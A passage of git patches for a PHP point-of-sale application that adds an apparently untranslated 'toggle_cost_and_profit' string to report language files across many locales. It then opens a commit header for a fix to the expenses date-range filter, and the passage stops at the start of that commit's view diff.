a/app/Language/hu/Reports.php +++ b/app/Language/hu/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "Adók", "taxes_summary_report" => "Adók összegző riport", + "toggle_cost_and_profit" => "", "total" => "Összesen", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "", diff --git a/app/Language/hy/Reports.php b/app/Language/hy/Reports.php index 93316dfd2..15ff6bed9 100644 --- a/app/Language/hy/Reports.php +++ b/app/Language/hy/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/id/Reports.php b/app/Language/id/Reports.php index 50f67eaf8..f6f0c6caa 100644 --- a/app/Language/id/Reports.php +++ b/app/Language/id/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Tarif Pajak", "taxes" => "Pajak", "taxes_summary_report" => "Laporan Ringkasan Pajak", + "toggle_cost_and_profit" => "", "total" => "Total", "total_inventory_value" => "Total Nilai Persediaan", "total_low_sell_quantity" => "Total Jumlah Penjualan yang Rendah", diff --git a/app/Language/km/Reports.php b/app/Language/km/Reports.php index eddf94a49..9d20f2d65 100644 --- a/app/Language/km/Reports.php +++ b/app/Language/km/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/lo/Reports.php b/app/Language/lo/Reports.php index fa31c61b5..581bb197d 100644 --- a/app/Language/lo/Reports.php +++ b/app/Language/lo/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "Taxes", "taxes_summary_report" => "Taxes Summary Report", + "toggle_cost_and_profit" => "", "total" => "Total", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "", diff --git a/app/Language/ml/Reports.php b/app/Language/ml/Reports.php index 93316dfd2..15ff6bed9 100644 --- a/app/Language/ml/Reports.php +++ b/app/Language/ml/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/nb/Reports.php b/app/Language/nb/Reports.php index 93316dfd2..15ff6bed9 100644 --- a/app/Language/nb/Reports.php +++ b/app/Language/nb/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/nl-BE/Reports.php b/app/Language/nl-BE/Reports.php index 0c4270f15..c0ce3f8a5 100644 --- a/app/Language/nl-BE/Reports.php +++ b/app/Language/nl-BE/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "VAT %", "taxes" => "Belastingen", "taxes_summary_report" => "Rapport Overzicht Belastingen", + "toggle_cost_and_profit" => "Kosten en winst wisselen", "total" => "Totaal", "total_inventory_value" => "Totale waarde stock", "total_low_sell_quantity" => "Totale Lage Verkoophoeveelheid", diff --git a/app/Language/pl/Reports.php b/app/Language/pl/Reports.php index d3aae242b..b1b4644d6 100644 --- a/app/Language/pl/Reports.php +++ b/app/Language/pl/Reports.php @@ -128,6 +128,7 @@ return [ 'tax_rate' => "", 'taxes' => "", 'taxes_summary_report' => "", + 'toggle_cost_and_profit' => "", 'total' => "", 'total_inventory_value' => "", 'total_low_sell_quantity' => "", diff --git a/app/Language/ro/Reports.php b/app/Language/ro/Reports.php index 93316dfd2..15ff6bed9 100644 --- a/app/Language/ro/Reports.php +++ b/app/Language/ro/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/sv/Reports.php b/app/Language/sv/Reports.php index 68f79b1a3..232531637 100644 --- a/app/Language/sv/Reports.php +++ b/app/Language/sv/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Skattesats", "taxes" => "Skatter", "taxes_summary_report" => "Sammanfattningsrapport för skatter", + "toggle_cost_and_profit" => "", "total" => "Totalt", "total_inventory_value" => "Totalt lagervärde", "total_low_sell_quantity" => "Totalt lågt säljare antal", diff --git a/app/Language/ta/Reports.php b/app/Language/ta/Reports.php index 1a4614bf2..826ffc417 100644 --- a/app/Language/ta/Reports.php +++ b/app/Language/ta/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Tax Rate", "taxes" => "Taxes", "taxes_summary_report" => "Taxes Summary Report", + "toggle_cost_and_profit" => "", "total" => "Total", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "Total Low Sell Quantity", diff --git a/app/Language/tl/Reports.php b/app/Language/tl/Reports.php index b62356a06..06cea79e7 100644 --- a/app/Language/tl/Reports.php +++ b/app/Language/tl/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Tax Rate", "taxes" => "Taxes", "taxes_summary_report" => "Taxes Summary Report", + "toggle_cost_and_profit" => "", "total" => "Total", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "Total Low Sell Quantity", diff --git a/app/Language/tr/Reports.php b/app/Language/tr/Reports.php index 9af63204b..71b4d73e8 100644 --- a/app/Language/tr/Reports.php +++ b/app/Language/tr/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Vergi oranı", "taxes" => "Vergiler", "taxes_summary_report" => "Vergi Özet Raporu", + "toggle_cost_and_profit" => "", "total" => "Toplam", "total_inventory_value" => "Toplam Stok Değeri", "total_low_sell_quantity" => "Toplam Düşük Satış Miktarı", diff --git a/app/Language/uk/Reports.php b/app/Language/uk/Reports.php index 88e2fb2f8..0d52ea2cb 100644 --- a/app/Language/uk/Reports.php +++ b/app/Language/uk/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Ставка податку", "taxes" => "Податки", "taxes_summary_report" => "Підсумковий звіт про податки", + "toggle_cost_and_profit" => "", "total" => "Сума", "total_inventory_value" => "Загальна вартість товарів", "total_low_sell_quantity" => "Загальна кількість низького рівня продажу", diff --git a/app/Language/ur/Reports.php b/app/Language/ur/Reports.php index 93316dfd2..15ff6bed9 100644 --- a/app/Language/ur/Reports.php +++ b/app/Language/ur/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/vi/Reports.php b/app/Language/vi/Reports.php index 013453f70..fd99ba08e 100644 --- a/app/Language/vi/Reports.php +++ b/app/Language/vi/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Tỷ suất thuế", "taxes" => "Thuế", "taxes_summary_report" => "Báo cáo tổng thể Thuế", + "toggle_cost_and_profit" => "", "total" => "Tổng cộng", "total_inventory_value" => "Giá trị tồn kho tổng cộng", "total_low_sell_quantity" => "Tổng số lượng hàng bán ít", diff --git a/app/Language/zh-Hans/Reports.php b/app/Language/zh-Hans/Reports.php index f98bda89f..dfd697361 100644 --- a/app/Language/zh-Hans/Reports.php +++ b/app/Language/zh-Hans/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "稅額", "taxes_summary_report" => "稅金摘要報告", + "toggle_cost_and_profit" => "", "total" => "總計", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "", diff --git a/app/Language/zh-Hant/Reports.php b/app/Language/zh-Hant/Reports.php index 3df510f36..da361338e 100644 --- a/app/Language/zh-Hant/Reports.php +++ b/app/Language/zh-Hant/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "稅率", "taxes" => "稅額", "taxes_summary_report" => "稅金摘要報告", + "toggle_cost_and_profit" => "", "total" => "總計", "total_inventory_value" => "總庫存價值", "total_low_sell_quantity" => "總低銷售量", From 3e68295f9562339f113d90fe134d9d122ba644ef Mon Sep 17 00:00:00 2001 From: richardmilles <76790700+richardmilles@users.noreply.github.com> Date: Mon, 5 Oct 2026 08:40:29 +0200 Subject: [PATCH 29/31] fix(expenses): refresh table when date range or filters change (#4633) Restore the daterangepicker apply and filter change handlers so /expenses/search receives the selected start_date and end_date instead of today's date for both. Also removes leftover comments from the expenses manage view. Fixes #4596 --------- Co-authored-by: jekkos --- app/Views/expenses/manage.php | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/app/Views/expenses/manage.php b/app/Views/expenses/manage.php index 945429d7d..ecdba7450 100644 --- a/app/Views/expenses/manage.php +++ b/app/Views/expenses/manage.php @@ -14,12 +14,18 @@